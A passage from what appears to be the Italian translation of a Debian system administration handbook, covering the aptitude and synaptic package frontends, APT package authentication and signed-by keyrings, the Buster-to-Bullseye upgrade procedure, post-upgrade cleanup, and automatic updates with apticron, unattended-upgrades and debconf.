Invece, il comando apt-file list pacchetto elencherà tutti i file distribuiti con il pacchetto.

SUGGERIMENTO Elencare il contenuto di un pacchetto e trovare il pacchetto di un file

Similarmente a apt-file list il comando dpkg -L pacchetto elenca tutti i file, ma soltanto per un pacchetto installato. Per trovare il pacchetto, a cui appartiene un file, usare dpkg -S file (vedere Sezione 5.4.3, «Interrogazione del Database di dpkg ed Ispezione dei File .deb»). Per elencare tutti i file presenti, ma non appartenenti a nessun pacchetto installato, si può dare un'occhiata al pacchetto cruft od a cruft-ng.

6.5. Frontend: aptitude, synaptic

APT è un programma C++ il cui codice risiede nella libreria condivisa libapt-pkg. L'uso di una libreria condivisa facilita la creazione di un'interfaccia utente (frontend), poiché il codice contenuto nella libreria può essere facilmente riutilizzato. Storicamente, apt-get è stato concepito solo come frontend di prova per libapt-pkg ma il suo successo tende ad oscurare questo aspetto.

6.5.1. aptitude

aptitude è un programma interattivo che può essere usato in modalità semi-grafica dalla console. Si può scorrere la lista dei pacchetti installati e disponibili, cercare tutte le informazioni disponibili e selezionare i pacchetti da installare o rimuovere. Il programma è stato progettato appositamente per essere usato dagli amministratori, in modo che i suoi comportamenti predefiniti siano molto più intelligenti di quelli di apt-get e la sua interfaccia sia più semplice da capire.

Figura 6.1. Il gestore di pacchetti aptitude

Quando si avvia, aptitude mostra un elenco di pacchetti ordinati per stato (installati, non installati o installati ma non disponibili sui mirror — altre sezioni mostrano i task, i pacchetti virtuali ed i nuovi pacchetti apparsi di recente nei mirror). Per facilitare la navigazione tematica, sono presenti altre viste. In tutti i casi, aptitude visualizza sullo schermo un elenco che combina categorie e pacchetti. Le categorie sono organizzate con una struttura ad albero, i cui rami posso essere rispettivamente aperti o chiusi con i tasti Invio, [ e ]. Il tasto + viene usato per marcare un pacchetto per l'installazione, - lo marca per la rimozione e _ per l'eliminazione (notare che questi tasti possono essere usati anche per le categorie, in questo caso l'azione corrispondente verrà applicata a tutti i pacchetti della categoria). il tasto u aggiorna l'elenco dei pacchetti disponibili e Shift+u prepara un aggiornamento globale del sistema. Il tasto g passa ad una visualizzazione di riepilogo delle modifiche richieste (e digitando g nuovamente si applicheranno i cambiamenti) e q esce dalla vista corrente. Se si è nella vista principale, questo si tradurrà nella chiusura di aptitude.

DOCUMENTAZIONE aptitude

Questa sezione non analizza tutti gli utilizzi di aptitude. Piuttosto si concentra sul fornire un kit di sopravvivenza per usarlo. È ben documentato e vi consigliamo di usare il manuale completo disponibile nel pacchetto aptitude-doc-it (/usr/share/doc/aptitude/html/it/index.html) o su https://www.debian.org/doc/manuals/aptitude/.

Per cercare un pacchetto, si può digitare / seguito da un modello di ricerca. Questo modello fa corrispondenza con il nome del pacchetto, ma può essere applicato anche alla descrizione (se preceduto da ~d), alla sezione (con ~s) o ad altre caratteristiche descritte nella documentazione. Gli stessi modelli possono filtrare l'elenco dei pacchetti visualizzati: digitando il tasto l (per limita) e inserendo il modello.

La gestione del "flag automatico" dei pacchetti Debian (vedi Sezione 6.2.7, «Tenere traccia dei pacchetti installati automaticamente») è un gioco da ragazzi con aptitude. È possibile scorrere l'elenco dei pacchetti installati e contrassegnare i pacchetti come automatici con Shift+m o rimuovere il contrassegno con il tasto m. I "pacchetti automatici" vengono visualizzati con una "A" nell'elenco dei pacchetti. Questa funzione offre anche un modo semplice per visualizzare i pacchetti in uso sulla macchina, senza tutte le librerie e le dipendenze che non interessano davvero. Il pattern correlato che può essere usato con l (per attivare la modalità filtro) è ~i!~M. Esso specifica che vogliamo vedere solo i pacchetti installati (~i) non contrassegnati come automatici (!~M).

STRUMENTO Usare aptitude con interfaccia a riga di comando

La maggior parte delle funzionalità di aptitude sono disponibili sia tramite l'interfaccia visuale che da quella a riga di comando. Le righe di comando risulteranno familiari a chi usa regolarmente apt-get e apt-cache.

Le funzionalità avanzate di aptitude sono disponibili anche dalla riga di comando. È possibile utilizzare gli stessi modelli di ricerca dei pacchetti della versione interattiva. Per esempio, se si desidera ripulire l'elenco dei pacchetti "installati manualmente" e si sa che nessuno dei programmi installati ha bisogno di particolari librerie o moduli Perl, è possibile contrassegnare i pacchetti corrispondenti come automatici con un solo comando:

# aptitude markauto '~slibs|~sperl'

Qui, si può chiaramente vedere la potenza del sistema a modello di ricerca di aptitude, che permette la selezione istantanea di tutti i pacchetti nelle sezioni libs e perl.

Attenzione, se alcuni pacchetti sono marcati come automatici e nessun altro pacchetto dipende da loro, questi saranno rimossi immediatamente (dopo una richiesta di conferma).

6.5.1.1. Gestire raccomandazioni, suggerimenti e task

Un'altra caratteristica interessante di aptitude è il fatto che rispetta le raccomandazioni tra i pacchetti pur dando agli utenti la scelta di non installarle caso per caso. Ad esempio, il pacchetto gnome raccomanda (tra gli altri) transmission-gtk. Quando si seleziona il primo per l'installazione, viene selezionato anche il secondo (e contrassegnato come automatico se non già installato nel sistema). Digitare g renderà la cosa evidente: transmission-gtk appare nella schermata di riepilogo delle azioni in sospeso nell'elenco dei pacchetti installati automaticamente per soddisfare le dipendenze. Tuttavia, si può decidere di non installarlo deselezionandolo prima di confermare le operazioni.

Si noti che questa funzione di tracciamento delle raccomandazioni non si applica agli aggiornamenti. Per esempio, se una nuova versione di gnome raccomanda un pacchetto che non raccomandava precedentemente, il pacchetto non viene contrassegnato per l'installazione. Tuttavia, esso sarà elencato nella schermata di aggiornamento in modo che l'amministratore possa sempre selezionarlo per l'installazione.

Anche i suggerimenti tra i pacchetti sono presi in considerazione, ma in un modo adatto al loro stato specifico. Per esempio, dal momento che gnome suggerisce empathy, quest'ultimo sarà visualizzato nella schermata riassuntiva delle azioni in sospeso (nella sezione dei pacchetti suggeriti da altri pacchetti). In questo modo è visibile e l'amministratore può decidere se prendere in considerazione il suggerimento o meno. Dal momento che sono solo suggerimenti e non dipendenze o raccomandazioni, il pacchetto non verrà selezionato automaticamente — la sua selezione richiede un intervento manuale da parte dell'utente (quindi, il pacchetto non verrà contrassegnato come automatico).

Con lo stesso spirito, si ricordi che aptitude fa un uso intelligente del concetto di task. Dal momento che i task vengono visualizzati come categorie nelle schermate delle liste di pacchetti, è possibile selezionare un'intera attività per l'installazione o rimozione, o sfogliare la lista dei pacchetti inclusi nell'attività per selezionarne un insieme più piccolo.

6.5.1.2. Algoritmi funzionanti meglio

Per concludere questa sezione, si noti che aptitude ha degli algoritmi più elaborati rispetto ad apt-get quando si tratta di risolvere situazioni difficili. Quando è richiesto un insieme di azioni la cui combinazione potrebbero portare ad un sistema incoerente, aptitude valuta i diversi scenari possibili, presentandoli in ordine decrescente di rilevanza. Tuttavia, questi algoritmi non sono infallibili. Fortunatamente c'è sempre la possibilità di selezionare manualmente le azioni da eseguire. Quando le azioni attualmente scelte portano a contraddizioni, la parte superiore dello schermo indica un numero di pacchetti "difettoso" (e si può navigare direttamente fra questi pacchetti premendo b). È quindi possibile creare manualmente una soluzione al problema riscontrato. In particolare, è possibile ottenere l'accesso alle differenti versioni disponibili semplicemente selezionando il pacchetto con Invio. Se la selezione di una di queste versioni risolve il problema, non si dovrebbe esitare a usare quella funzione. Quando il numero di pacchetti difettosi raggiunge lo zero, si può andare senza problemi alla schermata riepilogativa delle azioni in attesa per un ultimo controllo prima di applicare i cambiamenti.

NOTA Il log di aptitude

Come dpkg, aptitude tiene traccia delle azioni eseguite nel suo file di log (/var/log/aptitude). Tuttavia, visto che i due comandi lavorano ad un livello totalmente differente, non è possibile trovare le stesse informazioni sui loro rispettivi file di log. Mentre dpkg registra tutte le operazioni eseguite su ogni singolo pacchetto, passo dopo passo, aptitude offre una visione più ampia delle operazioni ad alto livello come un aggiornamento di sistema.

Attenzione, questo file di log contiene solo un riepilogo delle operazioni eseguite da aptitude. Se occasionalmente vengono usati altri frontend (o anche dpkg stesso), il log di aptitude conterrà solo una visione parziale delle operazioni, quindi non si può fare affidamento su di esso per ricostruire la cronologia esatta del sistema.

6.5.2. synaptic

synaptic è un gestore di pacchetti grafico per Debian che dispone di un'interfaccia grafica pulita ed efficiente basata su GTK+/GNOME. I suoi molti filtri già pronti da utilizzare consentono di accedere velocemente ai nuovi pacchetti disponibili, pacchetti installati, pacchetti aggiornabili, pacchetti obsoleti e così via. Se si naviga in questi elenchi, è possibile selezionare le opzioni da fare sui pacchetti (installare, aggiornare, rimuovere, eliminare completamente); queste operazioni non vengono eseguite immediatamente, ma messe in un elenco di attività. Un semplice clic su un pulsante convalida le operazioni, ed esse vengono eseguite in un sol colpo.

Figura 6.2. Il gestore di pacchetti synaptic

6.6. Controllare l'autenticità dei pacchetti

La sicurezza è molto importante per gli amministratori di Falcot Corp. Di conseguenza, devono garantire che vengano installati solo i pacchetti di cui è garantita la provenienza da Debian senza alcuna manomissione lungo il percorso. Un autore di attacchi informatici potrebbe tentare di aggiungere codice dannoso ad un pacchetto altrimenti legittimo. Tale pacchetto, se installato, potrebbe fare qualsiasi cosa per cui l'autore dell'attacco l'ha progettato, tra cui ad esempio scoprire password o informazioni riservate. Per ovviare a questo rischio, Debian fornisce un sigillo di garanzia a prova di manomissione per garantire, in fase di installazione, che un pacchetto venga veramente dal suo manutentore ufficiale e non sia stato modificato da terzi.

Il sigillo funziona con una catena di hash crittografici ed una firma ben spiegato nel dettaglio in apt-secure(8). A partire da Debian 10 Buster il file firmato è InRelease, fornito dai mirror Debian. Esiste anche un file legacy chiamato Release. Entrambi contengono un elenco dei file Packages (comprese le forme compresse, Packages.gz e Packages.xz, e le versioni incrementali), insieme ai loro hash SHA256, che garantiscono che i file non siano stati manomessi. Questi file Packages, contengono un elenco dei pacchetti Debian disponibili sul mirror insieme ai loro hash, che assicurano che anche il contenuto dei pacchetti stessi non sia stato alterato. La differenza tra InRelease e Release è che il primo è firmato crittograficamente in linea, mentre per il secondo viene fornita una firma separata sotto forma del file Release.gpg.

NOTA Il futuro di Release e Release.gpg

Dopo il rilascio di Debian 10 Buster è stata annunciata l'intenzione di rimuovere il supporto per i vecchi file Release e Release.gpg in APT, utilizzati dalla versione 0.6, che ha introdotto il supporto per l'autenticazione degli archivi.

APT ha bisogno di un insieme di chiavi pubbliche GnuPG affidabili, disponibili sui mirror, per verificare le firme nei file InRelease e Release.gpg. Le ottiene dai file in /etc/apt/trusted.gpg.d/ e dal portachiavi /etc/apt/trusted.gpg (gestito dal comando apt-key). Le chiavi ufficiali Debian sono fornite ed aggiornate tramite il pacchetto debian-archive-keyring che le inserisce in /etc/apt/trusted.gpg.d/:

# ls /etc/apt/trusted.gpg.d/ debian-archive-bullseye-automatic.gpg debian-archive-bullseye-security-automatic.gpg debian-archive-bullseye-stable.gpg debian-archive-buster-automatic.gpg debian-archive-buster-security-automatic.gpg debian-archive-buster-stable.gpg debian-archive-stretch-automatic.gpg debian-archive-stretch-security-automatic.gpg debian-archive-stretch-stable.gpg

IN PRATICA Aggiungere chiavi fidate

Quando si aggiunge una sorgente di pacchetti di terze parti al file sources.list, APT ha bisogno di venire istruiti a fidarsi della corrispondente chiave GPG (altrimenti continuerà a ricordare che non può garantire l'autenticità dei pacchetti provenienti da quel repository). Il primo passo è ovviamente ottenere la chiave pubblica. Spesso, la chiave viene fornita come un piccolo file di testo, che verrà chiamato nei prossimi esempi key.asc.

Per aggiungere la chiave al portachiavi fidato di APT, l'amministratore può semplicemente inserirla in un file *.gpg in /etc/apt/trusted.gpg.d/ (i file*.asc sono sconsigliati e possono causare problemi). Ciò è supportato a partire da Debian Stretch. Con le versioni precedenti si doveva eseguire apt-key add < key.asc, che è già considerato obsoleto.

Sebbene questo sia un comportamento molto comune, crea anche un possibile problema. APT non sa quale chiave appartiene a quale repository. Se una delle chiavi nel portachiavi di APT corrisponde alla firma di un archivio, APT considera l'archivio come autenticato. Una volta che una chiave è stata aggiunta al portachiavi fidato, un malintenzionato potrebbe effettivamente fornire la propria "versione" di un mirror Debian firmato dalla stessa chiave. Potrebbe quindi essere meglio mettere la chiave come file *.gpg in /usr/share/keyrings/ e usare il campo Signed-By in sources.list per i repository di terze parti, come mostrato nell'esempio seguente.

Immaginate che la Falcot Corp. gestisca un proprio repository pubblico e che voi vogliate utilizzarlo. Lo hanno firmato e forniscono anche una chiave disponibile pubblicamente da scaricare. Per limitare la chiave al repository, si può fare semplicemente così:

$ sudo wget -O falcot-keyring.gpg -P /usr/share/keyrings https://packages.falcot.com/debian/repository.gpg

deb [ signed-by=/usr/share/keyrings/falcot-keyring.gpg ] https://packages.falcot.com/debian bullseye main

Attenzione: l'aggiunta e l'utilizzo di repository di terze parti comporta sempre un rischio per la sicurezza e la stabilità!

Una volta che le chiavi appropriate sono nel portachiavi, APT controllerà le firme prima di qualsiasi operazione rischiosa, in modo che le interfacce visualizzino un avviso se viene chiesto di installare un pacchetto la cui autenticità non può essere accertata.

Si noti che i pacchetti binari di solito non sono firmati. L'integrità di un pacchetto può essere confermata solo verificando i suoi hashsum con una fonte affidabile (e possibilmente firmata) di hashsum.

CASO SPECIFICO Repository non firmati

Sebbene, in generale, i repository non firmati non dovrebbero essere usati, alcuni utenti potrebbero comunque richiederli, ad esempio per fornire alcuni pacchetti compilati localmente. APT può essere forzato ad accettare un repository di questo tipo anteponendo all'URL del repository allow-insecure=yes o trusted=yes. Lo dimostreremo usando l'esempio di Sezione 15.3, «Creazione di un repository di pacchetti per APT»:

deb [ trusted=yes ] http://packages.falcot.com/ updates/ deb [ trusted=yes ] http://packages.falcot.com/ internal/

6.7. Aggiornare da una distribuzione stabile alla successiva

Una delle caratteristiche più note di Debian è la sua capacità di aggiornare il sistema installato da un rilascio stabile a quello successivo: dist-upgrade, un termine ben noto, ha in gran parte contribuito alla reputazione del progetto. Con alcune precauzioni, l'aggiornamento di un computer può richiedere da un minimo di pochi, fino a qualche decina, di minuti a seconda della velocità di scaricamento dai repository dei pacchetti.

6.7.1. Procedura raccomandata

Dal momento che Debian ha un tempo abbastanza lungo per evolvere fra i rilasci stabili, si consiglia di leggere le note di rilascio prima di fare l'aggiornamento.

FONDAMENTALE Note di rilascio

Le note di rilascio per un sistema operativo (e, più genericamente, per qualsiasi software) sono un documento che fornisce una panoramica sul software, con alcuni dettagli riguardanti le particolarità di una versione. Questi documenti sono in genere più brevi rispetto alla documentazione completa, e di solito elencano le caratteristiche introdotte dalla versione precedente. Forniscono anche dettagli sulle procedure di aggiornamento, avvertenze per gli utenti delle versioni precedenti, e talvolta errata.

Le note di rilascio di Debian sono disponibili online: quelle dell'attuale versione stabile hanno un URL dedicato, mentre le note di rilascio più vecchie possono essere trovate con i loro nomi in codice:

→ https://www.debian.org/releases/stable/releasenotes

→ https://www.debian.org/releases/buster/releasenotes

In questa sezione, ci soffermeremo sull'aggiornamento di un sistema da Buster a Bullseye. Si tratta di un'operazione importante su di un sistema; come tale, non è mai priva di rischi al 100% e non si dovrebbe tentarla prima di aver fatto il backup dei dati più importanti.

Un'altra buona abitudine che permette un aggiornamento più facile (e veloce) è di riordinare i pacchetti installati e mantenere solo quelli che sono realmente necessari. Strumenti utili per fare questo sono aptitude, deborphan, debfoster e apt-show-versions (vedere Sezione 6.2.7, «Tenere traccia dei pacchetti installati automaticamente»). Per esempio, è possibile avvalersi del seguente comando e poi usare la modalità interattiva di aptitude per ricontrollare ed ottimizzare le rimozioni pianificate:

# deborphan | xargs aptitude --schedule-only remove

SUGGERIMENTO Trovare i file modificati

Il comando debsums può verificare se i file nel sistema in uso, che fanno parte di un pacchetto installato, sono stati alterati. Utilizza un semplice algoritmo di hash e l'informazione in /var/lib/dpkg/info/pacchetto.md5sums (vedere Sezione 5.2.3, «Checksum, elenco dei file di configurazione, ecc.»). Per trovare tutti i file di configurazione modificati, usare debsums -ec. Per verificare l'intero sistema, usare debsums -c.

Passiamo ora all'aggiornamento vero e proprio. Prima di tutto, è necessario cambiare il file /etc/apt/sources.list per indicare ad APT di ottenere i pacchetti da Bullseye invece di Buster. Se il file contiene solo riferimenti a Stable piuttosto che i nomi in codice, questo cambiamento non è necessario, poiché Stable si riferisce sempre all'ultima versione rilasciata di Debian. In entrambi i casi, il database dei pacchetti disponibili deve essere aggiornato con il comando apt update o con il pulsante di aggiornamento in synaptic (Sezione 6.2.1, «Inizializzazione»).

NOTA Modifiche alle informazioni del repository

Quando viene rilasciata una nuova versione stabile di Debian, vengono modificati alcuni campi nei file Release e InRelease di un repository, come il campo Suite. Quando ciò accade, per salvaguardare l'utente, il download dei dati dal repository viene rifiutato fino a quando la modifica non viene confermata. Per confermare le modifiche usare le opzioni --allow-releaseinfo-change o --allow-releaseinfo-change-field per apt-get o l'opzione di configurazione Acquire::AllowReleaseInfoChange.

Una volta che queste nuove fonti di pacchetti sono registrate, si dovrebbe prima fare un aggiornamento minimale con apt upgrade come descritto in Sezione 6.2.3, «Aggiornamento del sistema». Facendo l'aggiornamento in due fasi, si facilita il compito degli strumenti di gestione dei pacchetti e spesso si garantisce la presenza delle loro più recenti versioni che possono aver beneficiato di risoluzioni di bug e miglioramenti necessari per portare a termine l'aggiornamento completo del sistema.

Una volta fatto questo primo aggiornamento, è il momento di occuparsi dell'aggiornamento stesso con apt full-upgrade, aptitude o synaptic (Sezione 6.7, «Aggiornare da una distribuzione stabile alla successiva»). Si consiglia di controllare attentamente le azioni suggerite prima di applicarle: si potrebbe desiderare di aggiungere i pacchetti suggeriti o deselezionare quelli che sono solo raccomandati e che sappiamo non saranno utili. In ogni caso, l'interfaccia dovrebbe trovare ciò che serve per ottenere un sistema Bullseye aggiornato e coerente. In seguito, tutto ciò che si deve fare è aspettare che i pacchetti necessari vengano scaricati, rispondere alle domande di Debconf ed eventualmente a quelle sui file di configurazione modificati localmente e rilassarsi mentre APT fa la sua magia.

6.7.2. Gestire i problemi dopo un aggiornamento

Nonostante i migliori sforzi dei manutentori Debian, un importante aggiornamento di sistema non va sempre liscio come si spera. Le nuove versioni del software possono essere incompatibili con quelle precedenti (per esempio, il loro comportamento predefinito o il loro formato dei dati potrebbe essere cambiato). Inoltre, alcuni bug possono sfuggire, nonostante la fase di sperimentazione, che precede sempre un rilascio di Debian.

Per anticipare alcuni di questi problemi, è possibile installare il pacchetto apt-listchanges, che visualizza le informazioni sui possibili problemi all'inizio dell'aggiornamento di un pacchetto. Queste informazioni sono compilate dai manutentori dei pacchetti e inserite nel file /usr/share/doc/pacchetto/NEWS.Debian a beneficio degli utenti. Leggere questi file (possibilmente attraverso apt-listchanges) dovrebbe aiutare ad evitare brutte sorprese.

A volte è possibile che la nuova versione di un software non funzioni affatto. Questo in genere accade se l'applicazione non è particolarmente popolare e non è stata testata a sufficienza; un aggiornamento dell'ultimo minuto può anche introdurre regressioni che vengono scoperte solo dopo il rilascio stabile. In entrambi i casi, la prima cosa da fare è dare uno sguardo al sistema di tracciamento dei bug su https://bugs.debian.org/pacchetto e verificare se il problema è già stato segnalato. In tal caso, verrà elencato anche prima dell'inizio dell'aggiornamento se apt-listbugs è installato. Se non lo è, dovresti essere tu a segnalarlo con reportbug. Se è già noto, la segnalazione di bug ed i messaggi ad esso associati sono in genere un'eccellente fonte di informazioni:

a volte una soluzione esiste già, ed è disponibile nella segnalazione di bug; si può allora ricompilare localmente una versione corretta del pacchetto non funzionante (vedere la Sezione 15.1, «Rigenerare un pacchetto dai suoi sorgenti»);

in altri casi, gli utenti potrebbero aver trovato un modo di superare il problema e condiviso le loro conoscenze al riguardo nelle loro risposte alla segnalazione;

in altri casi ancora, un pacchetto corretto potrebbe essere già stato preparato e reso pubblico da parte del manutentore.

A seconda della gravità del bug, una nuova versione del pacchetto può essere preparata appositamente per una nuova revisione del rilascio stabile. Quando ciò accade, il pacchetto corretto viene reso disponibile nella sezione proposed-updates dei mirror Debian (vedere Sezione 6.1.2.3, «Aggiornamenti proposti»). La voce corrispondente può quindi essere aggiunta temporaneamente al file sources.list ed i pacchetti aggiornati possono essere installati con apt o aptitude.

A volte il pacchetto corretto non è ancora disponibile in questa sezione perché è in attesa di una validazione da parte dei gestori (Stable Release Manager). In tal caso, si può verificare sulla loro pagina web. I pacchetti elencati in quella pagina non sono ancora disponibili, ma almeno sappiamo che il processo di pubblicazione è in corso.

→ https://release.debian.org/proposed-updates/stable.html

6.7.3. Pulizia dopo un aggiornamento

APT normalmente assicura un aggiornamento pulito, scaricando dipendenze nuove ed aggiornando o rimuovendo i pacchetti in conflitto. Ma pur essendo un eccellente strumento, non può gestire tutti i compiti che utenti ed amministratori devono affrontare dopo un aggiornamento, in quanto richiedono una decisione umana.

6.7.3.1. Pacchetti rimossi dall'archivio Debian

A volte, gli ftpmaster di Debian rimuovono dei pacchetti dall'archivio Debian perché contengono bug critici per il rilascio, sono stati abbandonati dal loro autore originale o dal loro manutentore oppure semplicemente hanno raggiunto la fine del loro ciclo di vita. In questo caso, una nuova versione di Debian non fornisce più il pacchetto. Per trovare tutti i pacchetti non più disponibili nella versione in uso, usare il comando apt-show-versions:

$ apt-show-versions | grep "No available version"

Un risultato simile può essere ottenuto con aptitude search ~o. Se i pacchetti trovati non sono più necessari, allora dovrebbero essere eliminati dal sistema, perché questi non saranno più soggetti ad aggiornamenti di bug critici o di sicurezza.

6.7.3.2. Pacchetti fittizi e di transizione

Talvolta, diventa necessario cambiare il nome di un pacchetto. In questi casi, il vecchio pacchetto è spesso mantenuto come un pacchetto (quasi) vuoto, a seconda di quello nuovo ed installando soltanto i file necessari in /usr/share/doc/pacchetto/. Questi pacchetti sono chiamati "fittizi" o "transitori". Se il manutentore del pacchetto in carica cambia anche la sezione del pacchetto a oldlibs, allora strumenti come aptitude, deboprhan o debfoster (vedere il riquadro ALTERNATIVA deborphan e debfoster) possono individuare questi pacchetti e suggerirne la rimozione.

Sfortunatamente non c'è attualmente nessuna modalità infallibile per essere sicuri che questi pacchetti siano rimossi automaticamente o individuati dai predetti strumenti. Una modalità per verificare se il sistema abbia alcuni di questi pacchetti installati è quella di cercare tramite la descrizione dei pacchetti installati e controllare i risultati. Attenzione a non programmare la rimozione automatica dei file risultanti, perché questo metodo può fornire dei falsi positivi:

$ dpkg -l | grep ^ii | grep -i -E "(transition|dummy)"

Poiché i nuovi pacchetti sono scaricati come dipendenza di un pacchetto di transizione, esso viene marcato come automaticamente installato e può essere rimosso se si cerca di eliminare il pacchetto di transizione dal sistema. In questo caso, per rimuovere in modo selettivo il pacchetto di transizione, si può usare uno degli approcci descritti nel riquadro SUGGERIMENTO Rimozione e installazione nello stesso momento e Sezione 6.2.7, «Tenere traccia dei pacchetti installati automaticamente».

6.7.3.3. File di configurazione vecchi o non più in uso

Se l'aggiornamento è andato a buon fine, potrebbero essere presenti alcuni file di configurazione, provenienti da dpkg (vedere Sezione 5.2.3, «Checksum, elenco dei file di configurazione, ecc.»), ucf o dai pacchetti rimossi. Questi ultimi possono essere eliminati usando apt autoremove --purge. I file di configurazione che sono stati gestiti da dpkg o ucf durante il processo di aggiornamento hanno lasciato alcuni elementi con un suffisso dedicato, ad esempio .dpkg-dist, .dpkg-old, .ucf-old. L'uso dei comandi find o locate può aiutare a rintracciarli. Se non sono più utili, possono essere cancellati.

6.7.3.4. File non appartenenti a nessun pacchetto

Le politiche di Debian impongono che i pacchetti non lascino file nel sistema quando vengono eliminati. Violare questo principio è un bug serio ed accade raramente. Se vi capita, segnalatelo; per i più curiosi, si può usare il pacchetto cruft o cruft-ng per controllare il sistema e trovare i file non posseduti da nessun pacchetto.

6.8. Mantenere un sistema sempre aggiornato

La distribuzione Debian è dinamica e cambia continuamente. La maggior parte dei cambiamenti sono nelle versioni Testing e Unstable, ma anche Stable viene aggiornata di tanto in tanto, per lo più per correzioni relative alla sicurezza. Qualunque sia la versione scelta di Debian, è generalmente una buona idea tenerla aggiornata, in modo da poter trarre beneficio delle recenti evoluzioni e correzioni di bug.

Sebbene sia ovviamente possibile eseguire periodicamente uno strumento per controllare gli aggiornamenti disponibili ed eseguire gli aggiornamenti, tale compito ripetitivo è noioso, soprattutto quando deve essere eseguito su diverse macchine. Fortunatamente, come molte attività ripetitive, può essere in parte automatizzato, e una serie di strumenti sono già stati sviluppati in tal senso.

Il primo di questi strumenti è apticron, nel pacchetto omonimo. Il suo effetto principale è quello di eseguire quotidianamente uno script (via cron). Gli script aggiornano la lista dei pacchetti disponibili, e, se alcuni pacchetti installati non sono aggiornati all'ultima versione disponibile, invia un'e-mail con un elenco di questi pacchetti con i cambiamenti che sono stati fatti nelle nuove versioni. Ovviamente, questo pacchetto si rivolge principalmente agli utenti di Debian Stable, dal momento che i messaggi di posta elettronica giornalieri sarebbero molto lunghi per le versioni più dinamiche di Debian. Quando gli aggiornamenti sono disponibili, apticron li scarica automaticamente. Non li installa: sarà sempre l'amministratore a farlo, ma avere i pacchetti già scaricati e disponibili a livello locale (nella cache di APT), rende il lavoro più veloce.

Gli amministratori responsabili di diversi computer apprezzeranno senza alcun dubbio di essere informati sugli aggiornamenti in sospeso, ma gli aggiornamenti stessi sono sempre fastidiosi. Possono essere abilitati gli aggiornamenti periodici mediante l'uso un'unità timer di systemd o cron. Se non è installato systemd viene in aiuto lo script /etc/cron.daily/apt (nel pacchetto apt). Questo script viene eseguito tutti i giorni (e non interattivamente) da cron. Per controllare il suo comportamento, si usano le variabili di configurazione di APT (che vengono quindi memorizzate in un file sotto /etc/apt/apt.conf.d/). Le variabili principali sono:

APT::Periodic::Update-Package-Lists

Questa opzione permette di specificare la frequenza (in giorni) con la quale verrà aggiornata la lista pacchetti. Gli utenti di apticron possono fare a meno di questa variabile, in quanto apticron si occupa già di questa funzione.

APT::Periodic::Download-Upgradeable-Packages

Ancora una volta, questa opzione indica la frequenza (in giorni), questa volta per lo scaricamento dei pacchetti veri e propri. Anche in questo caso, gli utenti di apticron non ne avranno bisogno.

APT::Periodic::AutocleanInterval

Questa opzione copre una funzione che apticron non ha. Controlla quanto spesso i pacchetti obsoleti (quelli a cui non fa più riferimento alcuna distribuzione) vengono rimossi dalla cache di APT. Ciò mantiene la cache di APT ad una dimensione ragionevole e significa che non ci si deve più preoccupare di questo lavoro.

APT::Periodic::Unattended-Upgrade

Quando questa opzione viene abilitata, lo script giornaliero esegue unattended-upgrade (dal pacchetto unattended-upgrades) che, come suggerisce il nome, può automatizzare il processo di aggiornamento per alcuni pacchetti (in modo predefinito si occupa solo degli aggiornamenti di sicurezza, ma questo può essere personalizzato in /etc/apt/apt.conf.d/50unattended-upgrades). Notare che questa opzione può essere impostata con l'aiuto di debconf, eseguendo dpkg-reconfigure -plow unattended-upgrades. Se è installato apt-listbugs, impedirà l'aggiornamento automatico dei pacchetti per i quali è già stato segnalato un bug con severità serious (serio) o grave (grave).

Altre opzioni possono consentire di controllare con più precisione il comportamento di pulizia della cache. Non sono elencate qui, ma sono descritte nello script /usr/lib/apt/apt.systemd.daily.

Questi strumenti funzionano molto bene per i server, ma gli utenti desktop in genere preferiscono una modalità più interattiva. Il pacchetto gnome-software fornisce un'icona nell'area di notifica dell'ambiente desktop quando sono disponibili nuovi aggiornamenti; se si clicca sull'icona viene eseguita un'interfaccia per effettuare gli aggiornamenti. È possibile navigare fra gli aggiornamenti disponibili, leggere la descrizione breve dei pacchetti interessati e le corrispondenti voci del changelog, e selezionare caso per caso se applicare o meno l'aggiornamento.

Figura 6.3. Aggiornare con gpk-update-viewer

Questo strumento non è più installato in modo predefinito nel desktop GNOME. La nuova filosofia è che gli aggiornamenti di sicurezza dovrebbero essere installati automaticamente, in background oppure, preferibilmente, quando si spegne il sistema in modo che non ci siano ripercussioni su nessuna applicazione in esecuzione.

6.9. Aggiornamenti automatici

Visto che Falcot Corp ha molti computer ma una manodopera limitata, i suoi amministrazioni cercano di rendere gli aggiornamenti il più automatici possibili. I programmi incaricati di tali processi devono perciò essere eseguiti senza intervento umano.

6.9.1. Configurare dpkg

Come è stato già detto (vedere il riquadro APPROFONDIMENTO Evitare le domande sui file di configurazione), dpkg può essere impostato per non chiedere conferma quando sostituisce un file di configurazione (con le opzioni --force-confdef --force-confold). Le interazioni, tuttavia, possono essere richieste da altre tre fonti: alcune vengono da APT stesso, altre sono gestite da debconf ed alcune sono dovute alla riga di comando a causa di script di configurazione dei pacchetti (talvolta gestiti da ucf).

6.9.2. Configurare APT

Nel caso di APT è semplice: l'opzione -y (o --assume-yes) dice ad APT di considerare la risposta a qualsiasi sua domanda un "sì".

6.9.3. Configurare debconf

Il caso di debconf merita ulteriori dettagli. Questo programma è stato, fin dal suo principio, progettato per controllare l'importanza e la quantità di domande mostrate all'utente, così come il modo in cui vengono visualizzate. Ecco perché la sua configurazione richiede una priorità minima per le domande; solo le domande con priorità superiore alla minima vengono visualizzate. debconf imposta la risposta predefinita (impostata dal manutentore del pacchetto) per le domande che si decide di saltare.

L'altro elemento di configurazione rilevante è l'interfaccia usata dal frontend. Se si seleziona noninteractive tra le scelte date, tutte le interazioni utente sono disabilitate. Se il pacchetto cerca di visualizzare una nota informativa, essa verrà inviata all'amministratore tramite email.

Per riconfigurare debconf, si usa il programma dpkg-reconfigure nel pacchetto debconf; il relativo comando è dpkg-reconfigure debconf. Si noti che i valori configurati possono essere temporaneamente modificati con le variabili di ambiente quando necessario (ad esempio, DEBIAN_FRONTEND controlla l'interfaccia, come documentato nella pagina del manuale debconf(7)).

6.9.4. Gestire interazioni a riga di comando

L'ultima sorgente di interazioni, e la più difficile da eliminare, sono gli script di configurazione eseguiti da dpkg. Sfortunatamente non c'è una soluzione standard, e non c'è alcuna risposta nettamente migliore di un'altra.

L'approccio comune è quello di sopprimere lo standard input reindirizzando il contenuto vuoto di /dev/null in esso con il comando comando </dev/null, o di alimentarlo con un flusso infinito di nuove righe. Nessuno di questi metodi è affidabile al 100%, ma in genere portano all'uso delle risposte predefinite, dal momento che la maggior parte degli script considera la mancanza di una risposta come un'accettazione dei valori predefiniti.

6.9.5. La combinazione miracolosa

